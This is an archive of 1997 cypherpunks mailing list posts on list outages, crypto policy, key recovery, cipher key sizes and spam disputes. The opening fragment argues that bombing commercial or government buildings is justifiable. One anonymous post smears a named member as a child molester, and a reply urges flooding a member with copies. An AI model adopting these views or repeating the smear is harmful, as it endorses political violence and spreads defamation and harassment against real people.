self defence to execute people who violate the rights of other people. 

You are the one who seems to need to get the proverbial clue, If you 
merely mean to say that the killing of innocents in the name of "war" is 
not justifiable, then I have a great deal of sympathy and a certain 
amount of agreement with your point of view, if you mean to say that the 
execution of those who violate our rights is not justified as a form of 
self defence or even as a form of punishment for their crimes then you 
could not be further from the truth.

Also, on a slightly more practical point, as I have said, if one was to 
bomb any major commercial or government building the chances of killing a 
truly innocent person are fairly small anyway.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 13 May 1997 22:56:38 +0800
To: Tim May <tcmay@got.net>
Subject: Re: The Interlinked Cypherpunks Lists?
In-Reply-To: <v03007800af9d068330c1@[207.167.93.63]>
Message-ID: <Pine.LNX.3.91.970512212330.266B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> bounce (more precisely: "<cypherpunks@cyberpass.net>... Deferred:
> Connection timed out with rigel.cyberpass.net. Warning: message still
> undelivered after 4 hours").

I too didn`t see some of my articles come through, I`m subscribed to 
cyberpass.net, Your copied traffic appears to have come through now 
though. When I did have trouble sending I pinged cyberpass.net and it was 
up, so I presume it was just a majordomo problem.

> * Is it possible for the interlinked lists to send out announcements of
> list problems to subscriber of all such lists? (Each list owner could do a
> periodic "who cypherpunks" of the other lists, then use this list to send a
> message if a problem comes up. More sophisticated cross-processing could
> eliminate duplicates, etc.)

Yes, I still get a LOT of duplicates, after checking several times that 
I was only subscribed to one list. I`m not running procmail at the moment 
(still playing with linux) and I seem to remember the duplicates nearly 
always have *different* message IDs, is there a procmail recipe to kill 
these?

> * Alternatively, if one of the sites goes down, such as
> "cypherpunks@cyberpass.net" seems to have done, could the other sites
> automagically pick up the task of distributing articles until the site
> comes back up?

This would be an excellent idea, if the sites kept a "who cypherpunks" 
on each other they could do a ping every hour or so to check the site was 
up and if not add the users in the "who" list to their subscriber list.
Is this possible with majordomo or some sort of script, list operators? 

> * How feasible is it to have a single "virtual subscription address" which
> gets traffic from one of the various list sites? (To avoid having to
> subscribe to two or more lists and thus getting duplicates.)

Hmm, this rather kills the idea of a distibuted system which is 
impossible to censor. I know this isn`t really a necessary system as I`m 
sure we all trust the list operators who run the sites, but it is a very 
cypherpunk idea and I rather like seeing it in action.

I can see problems with the current system, most notably the duplicates, 
but if these can be either killfiled on reciept, or even better, tweaking 
of the majordomos can remove them at source, the system will be very 
stable and useable, as it is the duplicates are not too great a problem, 
just an annoying quirk of the system, but it would be nice to see the 
back of them. 

This message is probably off topic as it talks about practical use of 
technology as opposed to ethics and blowing up poloticians, in which case 
I appologise, back to ranting and anarchism ;-)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Tue, 13 May 1997 12:58:31 +0800
To: cypherpunks@toad.com
Subject: Re: War & InfoWar
Message-ID: <3.0.32.19970512214932.006d4e8c@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


Robert Hettinga wrote:

>Ah. A 90's version of Freddy Hayek's "Road to Serfdom", maybe?
>A turn-of-the-new-century Phabian Society needs a Stalin to make it's
>dreams reality?
>
>Be careful what you wish for, ladies and germs...
.............................................................


Well, now, what exactly do you mean?   How does this relate to bombing a
village, with all its communists & captives, out of existence?

    ..
Blanc
    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Tue, 13 May 1997 13:09:49 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: PGP
In-Reply-To: <199705130047.RAA24073@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970512223606.107274C-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain




I think Vulis needs each of us to send ten copies of this back to
him.

On Mon, 12 May 1997, Huge Cajones Remailer wrote:

> Given Timmy C[retin] May's propensity to molest 
> little children, is it any surprise that the 
> state of California wants to have him castrated?
> 
>        ,,,
>       (o-o)
>   -ooO-(_)-Ooo- Timmy C[retin] May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Tue, 13 May 1997 13:14:37 +0800
To: cypherpunks@toad.com
Subject: Re: `careerpunks'
Message-ID: <199705130448.WAA20281@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back wrote:
> Seems to me many of the `cypherpunks' have become `careerpunks' and
> are now more interested in trading crypto tips, trade gossip, than in
> cypherpunks projects.
> 
> They went through the phase of buying kewl domain names (take a look
> down the subscriber lists), tinkering with remailers, and have now
> graduated to making money from crypto consulting, and lost interest in
> the issues where they don't add to the bottom line.

  People go through life changes and often try on different types of
attire/lifestyles at various points along their time-line. Hopefully,
they gather a few viewpoints and ideals along the way which will stay
with them throughout the outward changes in their interests and
directions in life.
  Doubtlessly, the cypherpunks list has sown many seeds of free thought
which are growing in different ways throughout the cryptography 
industry. If enough of these seeds have sprouted successfully then
there us always the possibility that the discussions on this list will
play a part in a modicum of free thought being a part of the process
by which future corporate decisions are made.

  Once one's consciousness (and conscience) has been exposed to a 
variety of viewpoints and influences it is harder to dismiss the views
of others out-of-hand.
  Immersing oneself in a narrower technological arena of crypto interest
such as is provided on the coderpunks and cryptography list is no doubt
beneficial to increased crypto-technical expertise. For those who choose
to retain their soul in the process, the cypherpunks list serves as an
island of anarchy in which the tendency to merge into corporate robot-
icism can be countered.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 13 May 1997 06:00:29 +0800
To: cypherpunks@algebra.com
Subject: cyberpass.net got a problem?
Message-ID: <199705122156.WAA02582@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Hardly any traffic at all today.

Is cyberpass.net ok?

I sent a `who cypherpunks' to majordomo@cyberpass.net and got a
response back instantly from sirius.infonex.com, so it's _there_.

Most of the small amount of traffic that there is, seems to be from
algebra.com and toad.com.

I've just subscribed to algebra.com, in case I'm missing out on
articles (my procmail will kill duplicates if any).

How are people on algebra.com finding the traffic?  (2 articles dated
12th in total as of 21:40 GMT (+0)).

Adam
--
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 13 May 1997 14:33:38 +0800
To: John Young <jya@pipeline.com>
Subject: Re: List of Explosives
In-Reply-To: <1.5.4.32.19970511032328.0088aeb0@pop.pipeline.com>
Message-ID: <3.0.1.32.19970512225720.00740e50@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:23 PM 5/10/97 -0400, John Young wrote:
>The correct URL for the latest ATF list of explosives:
>
>   http://jya.com/atf042597.xt

The even more explosively correct URL is

	http://jya.com/atf042597.txt

Includes many old favorites, misses a few popular ones, uses inconsistent
forms for a few, and throws in some catchalls like
	Explosive liquids.
	Explosive powders.
(but surprisingly, not "Explosive gas mixtures"  :-)

-----------------------------------------------------------------------
[Federal Register: April 25, 1997 (Volume 62, Number 80)]
[Notices]
[Page 20242-20244]
>From the Federal Register Online via GPO Access [wais.access.gpo.gov]
[DOCID:fr25ap97-106]
-----------------------------------------------------------------------


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: announce@lists.zdnet.com
Date: Tue, 13 May 1997 13:33:04 +0800
To: cypherpunks@toad.com
Subject: ZDNet Special Offer: WebINNOVATION Discount!
Message-ID: <JOB.3.zd.0.announce.0.text.zdbuild.26876.05121997200006.112432@tahiti.merc.com>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------
    ZDNET ANNOUNCEMENT         5/13/97
---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 13 May 1997 14:23:43 +0800
To: cypherpunks@cyberpass.net
Subject: Re: key recovery vs data backup
In-Reply-To: <19970511024334.53652@bywater.songbird.com>
Message-ID: <19970512230928.46454@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, May 12, 1997 at 11:28:19AM +0200, Alan Barrett wrote:
> On Sun, 11 May 1997, Kent Crispin wrote:
> > In the multiple recipient case, therefore, the master 
> > key is potentially used quite frequently, and hence much more 
> > exposed.  There are many other differences: I won't try to go into 
> > detail here.
> 
> Good point.
> 
> I happen to think that using the master key to decrypt documents is better
> practice than using the master key to obtain copies of other keys, but I
> can see both sides of this argument.

Your secretary of many years changes her passphrase, then forgets it. 
She has literally thousands of documents encrypted under that key. 
You tell her "There was a memo I put out two years ago -- we
formulated a quote for them, and *I need that number*." So you call in
the company security officer to decrypt all those documents, which 
are filed in several different places?  Contrast this with just 
restoring the key.

[...]

> You are repeating your fallacy of assuming that the key safe (KS) case has
> one policy for all users and the multiple recipients (MR) case has
> different policies for different users.  The truth is that the two issues
> (which model to use, and how many different policies to make visible to
> the users' software) are orthogonal.  You can have KS with a different key
> safe for each user, and you can have MR with the same extra recipients for
> each user.

The models I have assumed are: KS -- a single keysafe and multiple 
clients; MR -- a single master key generating point, and multiple 
clients.  In the KS model all the clients talk to a single server, 
and there is no policy issue.  In the MR case, if there is a single 
master key there is no policy issue that impacts the clients, but if 
there are multiple master keys then different clients are configured 
differently, according to the policy, and that configuration is 
controlled centrally.

I confess that I hadn't considered the case of multiple keysafes in
the same organization -- and for very large organizations you might
want to do that.  But the whole point of a keysafe is that you
concentrate expense protecting the keysafe, and, in practice, it seems
to me, the boundaries between keysafe domains (to coin a term) would
be pretty well defined.  And, the only policy issue for KS clients is 
which keysafe to talk to.  This is pretty much fixed at installation 
time. 

> > Sigh.  The situations are really quite different.  In the KS
> > case the policy never impacts the software; in the MR case I don't 
> > think you can avoid it.
> 
> Sigh.  The same fallacy again.
> 
> In the KS case, the software must know which key safe to use and how to
> secure and authenticate access to the key safe.
> 
> In the MR case, the software must know which extra recipients to add, and
> the corresponding public keys.
> 
> In both cases, the software is affected to some minimum extent.  In both
> cases, you can choose to make the software more complex by adding more
> policy knowledge.  In neither case are you forced to add more than the
> minimum amount of policy information to the software.

You *could* design a system with multiple distributed keysafes, 
perhaps in an effort to minimize exposure, but I think this would be 
the worst of both worlds.

> > > > Access to the key-safe is critical, of course, but it can be made very
> > > > secure -- a special-purpose piece of hardware that requires passwords
> > > > from n out of m key czars before access is granted, for example.
> > > > Or the contents of the key safe can be encrypted via keys escrowed
> > > > through a secret sharing mechanism
> > > 
> > > The same problems and solutions apply in both the CAK case and in the
> > > "corporate key as extra crypto recipient" case.
> > 
> > Not at all. The corporate master key is used to decrypt documents in the 
> > MR case; in the KS case the master key is used to get to the key 
> > database.
> 
> What I meant was, you can make n-of-m hardware stuff for both cases.
> Surely you don't disagree with that?

I don't disagree that you *could* do it.  I think it unlikely that you
would do it for the multiple recipient case.  I believe that in the MR
case the master key(s) (especially if there are multiple master keys)
would use exactly the same encryption algorithm as the normal
encryption case.  That is the obvious, straightforward way to do it. 
If you use another encryption algorithm for the master then you have a
whole raft of other problems to deal with.

And it would be crazy to require the presence of N people to decrypt 
any file with the master key -- consider the case of your secretary...

> > >   - With CAK, every time a user creates a new key, the user's software
> > >     needs to talk to teh key safe.  This needs a secure channel, which
> > >     raises further authentication problems (how does the user know that
> > >     he's not talking to a fake key safe).  These don't arise in the
> > >     non-CAK case.
> > 
> > Not so.  You have to exactly the same issue -- how does the user find 
> > out the master key to encrypt to?
> 
> Finding out which key to encrypt to in the MR case is analagous to finding
> out which key safe to talk to in the KS case.  Securing and authenticating
> the channel to the key safe in the KS case is an extra issue that does not
> have a counterpart in the MR case.

??  How do you know that the channel through which you get the master 
key in the MR case is secure?  You surely don't just pull it off the 
net.  It's signed?  Then the problem just recurses -- how do you know 
the signature is good?  This is exactly the problem you have 
contacting the keysafe.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Philipp <adam@rosa.com>
Date: Tue, 13 May 1997 14:35:41 +0800
To: harka@nycmetro.com
Subject: Re: Telnet Anonymous
In-Reply-To: <TCPSMTP.17.5.12.8.34.14.2780269260.1636483@nycmetro.com>
Message-ID: <3.0.1.32.19970512230937.00a871f0@mail.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:34 AM 5/12/97 -0500, harka@nycmetro.com wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>E-Mail...NYM-Servers
>WWW...Anonymizer
>Telnet...??
>
>How does one telnet anonymously to another system, assuming that
>one's home system has identd?
>
>Thanks already in advance...

Did you look at getting an anonymous account at cyberpass.net? 

Try http://www.cyberpass.net

Note, they tend to be strict about not using it for illegal activity, but
highly supportive for general anonymous use.

Then again you could set up some type of applet scheme, but I doubt anyone
would be willing to keep it active. 


	Adam, Esq.

-- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\
| My PGP key is available on my  |Unauthorized interception violates |
| home page: http://www.rosa.com |federal law (18 USC Section 2700 et|
|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-|seq.). In any case, PGP encrypted  |
|SUB ROSA...see home page...     |communications are preferred for   | 
|     -=[ FUCK THE CDA]=-        |sensitive materials.               |
\=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-/
If A is a success in life, then A = x + y + z. Work is x; y is play; 
and z is keeping your mouth shut. Albert Einstein (1879-1955)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 13 May 1997 06:45:45 +0800
To: cypherpunks@algebra.com
Subject: `careerpunks'
Message-ID: <199705122216.XAA02603@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



[This post cc cypherpunks@algebra.com & cypherpunks@cyberpass.net to
aid propogation which seems to be struggling.]

In trying to figure out which lists were working, I noticed that there
are now many more people on coderpunks and cryptography than there are
on cypherpunks... take a look at these figures:

  713 cryptography@c2.net
  713 coderpunks@toad.com
  245 cypherpunks@algebra.com + cypherpunks@cyberpass.net - duplicates

Seems to me many of the `cypherpunks' have become `careerpunks' and
are now more interested in trading crypto tips, trade gossip, than in
cypherpunks projects.

They went through the phase of buying kewl domain names (take a look
down the subscriber lists), tinkering with remailers, and have now
graduated to making money from crypto consulting, and lost interest in
the issues where they don't add to the bottom line.

Oh yeah, I know you might argue that selling crypto is a good thing,
and it is, but the two are not completely focused in the same
direction: corporate, or consulting interests want to sell crypto, to
export crypto, cypherpunks want tools to increase the power of the
individual.

An example of this different focus is perhaps the SAFE bill.  Lots of
corporates seem keen on SAFE, because it increases their market place.
Individuals right to use crypto in the US can go to hell.

Before anyone leaps down my throat, the above is a gross
generalisation, and is intended as food for thought only.  I know
plenty of you who are involved in the crypto business and who haven't
lost your ideals, and think SAFE is a bad deal, etc.

However, I think the trend exists.

Adam

(btw coderpunks won't give you it's subscriber list unless you're
subscribed)
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 13 May 1997 12:07:47 +0800
To: Blanc <cypherpunks@toad.com
Subject: Re: War & InfoWar
In-Reply-To: <3.0.32.19970512200506.006d0f1c@cnw.com>
Message-ID: <v03020994af9d92f73c83@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:12 pm -0400 on 5/12/97, Blanc wrote:

> Truthfully, I don't think you've stockpiled any explosives to use for such
> an act, and even if you had, I don't believe you would use them.   You'd
> have to pay someone else to do the deed, and even so you'd probably start
> reflecting on all those other people's itty bitty children who would have
> to lose their lives in that total destruction, and chicken out.

Ah. A 90's version of Freddy Hayek's "Road to Serfdom", maybe?
A turn-of-the-new-century Phabian Society needs a Stalin to make it's
dreams reality?

Be careful what you wish for, ladies and germs...

Cheers,
Bob

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 13 May 1997 13:05:48 +0800
To: cypherpunks@toad.com
Subject: Re: Disinformation in L.A.
In-Reply-To: <3.0.32.19970511133716.00755b9c@netcom13.netcom.com>
Message-ID: <35im7D28w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green <shamrock@netcom.com> writes:
> Seriously, I doubt anybody on this list is going to do something violent.
> That doesn't mean I think that nobody in the world is willing to nuke DC. I
> am told that quite a few Russian nukes are unaccounted for. Just for the

I didn't do it. :-)

> record, I believe that it considerably more likely for New York City to be
> nuked than DC.

If I were to bet, I'd bet that Tel Aviv would be the first target, before
any U.S. city. (I'm not saying it's good or bad, I just think that's more
likely to happen.)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 13 May 1997 15:11:43 +0800
To: cypherpunks@toad.com
Subject: Re: DARPA & Networking
In-Reply-To: <TCPSMTP.17.5.13.2.16.10.2780269260.1637341@nycmetro.com>
Message-ID: <v03007800af9dcd27cb5f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:16 PM -0800 5/12/97, harka@nycmetro.com wrote:

>== Forwarded Message Follows =======================================
>From: Amnon Till <amnont@beitberl.beitberl.ac.il>
>To: gsunet-l@bgu.edu
>Subject: The DARPA site
>
>http://www.arpa.mil/
>
>DARPA is the Defence Advanced Research Projects Agency. We all
>know that DARPA initiated in the late 60's project ARPA, which was
>omne of the current internet's roots.
>
>If we want to read more about DARPA, its projects, mission statements
>history etc etc this is your site.

I'm not sure why this is of much interest to our list...ARPA/DARPA being
old news and all.

DARPA did not "intiate project ARPA" (??). Rather, the names have just
changed a couple of times. ARPA was changed to DARPA in 1969-70, in
accordance with the Mansfield Amendment's dictate that research be more
militarily directed.

A few years ago the name DARPA was changed back to ARPA. (But, last I heard
it was back to being DARPA again.)

There's an entertaining new book, "Where Wizards Stay Up Late," by Katie
Hafner, which describes some of the history of the ARPANet. (My university
was one of the first four nodes, so I had a primitive ARPANet account in
1973.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 13 May 1997 22:51:07 +0800
To: cypherpunks@toad.com
Subject: Re: CAK/GAK center, "first and only U.S. Govnt. approved"
In-Reply-To: <199705122207.PAA11242@fat.doobie.com>
Message-ID: <3.0.1.32.19970513001850.007819f8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:07 PM 5/12/97 -0700, Huge Cajun Remailer wrote:
> http://www.sourcefile.com
>
>Just how many "authorized personnel" are there, and who all is paying
>them to do what?

Only their Accounts Receivable Department knows for sure :-)
They seem to be mostly in the source code escrow business.

It's amusing that they've Service-Marked the phrase
	"Trusted Third Party (sm)".
We'll see how long that lasts :-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 13 May 1997 13:11:00 +0800
To: cypherpunks@toad.com
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <3.0.1.32.19970512134334.0096fca0@gateway.grumman.com>
Message-ID: <qRkm7D32w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Rick Osborne <osborne@gateway.grumman.com> writes:
> I said:
> >I appreciate the inference as to my (lack of) intelligence.  ;)
>
> To which Vulis wrote:
> >Your lack of ethics, rather.  You choose to work for someone who chooses
> >to use inadequate Microsoft software, and you brandish these choices as
> >an excuse to interfere with somene's free speech.
>
> I'm not brandishing anything as an excuse, simply stating this: I should
> not have to walk through the street (get my email) wearing 4 inches of
> kevlar (using spam filters), *just in case* someone decides to whip out a
> submachine gun (spam).  It should not me my job to defend myself from
> psychos, rather people should have to ask my permission to infringe upon my
> space and time.

Rick also walks in the rain without an ubmbrella and fucks without a condom.

*PLONK*

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Tue, 13 May 1997 13:39:14 +0800
To: cypherpunks@toad.com
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <3.0.1.32.19970512134334.0096fca0@gateway.grumman.com>
Message-ID: <3.0.1.32.19970513011740.009da310@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


________________________ R i c k   O s b o r n e ________________________
At 12:24 AM 5/13/97 EDT, Dr.Dimitri Vulis KOTM wrote:
>*PLONK*

Damn, does this mean I've made your killfile?  Let me now express my sorrow
and regret.
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
Steganography Question:
How many bodies does it take to spell "I _told_ you I was crazy!"?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Tue, 13 May 1997 14:38:28 +0800
To: cypherpunks@toad.com
Subject: DARPA & Networking
Message-ID: <TCPSMTP.17.5.13.2.16.10.2780269260.1637341@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

May be of interest:

== Forwarded Message Follows =======================================
From: Amnon Till <amnont@beitberl.beitberl.ac.il>
To: gsunet-l@bgu.edu
Subject: The DARPA site

http://www.arpa.mil/

DARPA is the Defence Advanced Research Projects Agency. We all
know that DARPA initiated in the late 60's project ARPA, which was
omne of the current internet's roots.

If we want to read more about DARPA, its projects, mission statements
history etc etc this is your site.

Bye
Amnon
amnont@beitberl.beitberl.ac.il

- ------------------------------

Date: Sat, 10 May 97 09:20:19 -0000 (B+2)
From: Amnon Till <amnont@beitberl.beitberl.ac.il>
To: gsunet-l@bgu.edu
Subject: The future of Networking Technologies for learning

http://www.ed.gov/Technology/Futures/

This site was put by the US Dept. of Edu. office of Edu. Technology.
It is a series of papers & workshops dealing with the subject of the
futuristic use of networking in education written by several experts in
this area.

Bye
Amnon
amnont@beitberl.beitberl.ac.il

======================================================================

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
... "Use a cipher - be free!"

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Version: 2.6.2

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uI5Bhzxl4/cxhFFyEdmFvFOXdhw+gjKzkbghIFgHyUbgvFitk/w8bBatApsdamAn
qtBontHoPBavDykixeJgJt2W/bOM6VHmHoCy7e2zIGqqCO5/+45gHO7lwAFEpANd
Hv0sQzR6XFugJY/TAcWgDWfczjg5QsDhq5rWcfI5pVtLydiOxBM7fA==
=i+Qz
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: iang@cs.berkeley.edu (Ian Goldberg)
Date: Tue, 13 May 1997 13:37:33 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Unexportable crypto
In-Reply-To: <199705121618.MAA09197@jazz.cape.com>
Message-ID: <5l8tu1$sqv@abraham.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In article <199705121618.MAA09197@jazz.cape.com>,
ET <emergent@eval-apply.com> wrote:
>A simple substitution cypher has a keyspace of
>26! ~ 2**88
>Isn't this too strong to export?
>

Actually, yes.  The cypherpunks ftp site has a program on it that helps
you break simple substitution ciphers (like newspaper cryptograms), for which
the author claims he was denied an export license.

   - Ian

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBM3f6/UZRiTErSPb1AQGcyAQAqb2FX4Cn1aJfLTry8ZyaG6vVinaxLedM
nOK/uBGXEeuFCR0S+nwOmy2hvB3MpZM0BJrQCxqOQSqXjufbPsdfi9lu7T8vJ6vP
RUhxIuleN5hv2CHUs3B4+i0WpfxegspTp4txaeJO0DAY3dowqJI8apN9YECPny0r
NlX9YA1fObE=
=wrek
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Tue, 13 May 1997 20:23:35 +0800
To: unicorn@schloss.li (Black Unicorn)
Subject: Re: The War is Underway (fwd)
In-Reply-To: <Pine.SUN.3.96.970511125117.9012O-100000@polaris.mindport.net>
Message-ID: <199705131154.HAA20161@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


Black Unicorn wrote:

| > Systems that use randomly generated keys are
| > limited only by the amount of available entropy, but then the passphrase
| > security to encrypt the secret key or physical security become important.
| > Using excessively long keys does not do much for security, as there are
| > always going to be weaker links that an attacker can take advantage of.
| > It doesn't hurt to use a 256-bit key, or larger, but it doesn't do much
| > good, either.
| 
| Again, you have taken an important concept, total security, and reversed
| it.  Instead of aiming to make each link as strong as possible, you have
| aimed to design around the weakest link.
| 
| This is a serious mistake in my view.

	I disagree with your approach.  In the real world, budgets are
limited, time is limited, the pool of really decent people on any
given project is small.  Fixing or strengthening the weakest link is
my usual approach to these things.  Not as nice as having a
bulletproof design from the start, but there aren't enough smart
cypherpunks out there consulting.  (More on that in another post.)

| It costs little today to develop a cipher with larger keyspace.  (DES with
| independent subkeys already exists and has a basic keyspace of 768 bits.
| A meet in the middle attack reduces keyspace to 2^384.  Schneier discusses
| the cipher briefly).  If users are willing to deal with large keys (I
| certainly am) then software designers are restraining a more secure
| implementation.

	It takes an academic cryptographer about 6 months to develop a
cipher.  Most academics don't see a point to moving beyond the 448
bits available in Blowfish.

Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Tue, 13 May 1997 20:22:39 +0800
To: cypherpunks@toad.com (Cypherpunks Mailing List)
Subject: Re: `careerpunks'
Message-ID: <199705131158.HAA20185@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain




Adam Back wrote:
> Seems to me many of the `cypherpunks' have become `careerpunks' and
> are now more interested in trading crypto tips, trade gossip, than in
> cypherpunks projects.
> 
> They went through the phase of buying kewl domain names (take a look
> down the subscriber lists), tinkering with remailers, and have now
> graduated to making money from crypto consulting, and lost interest in
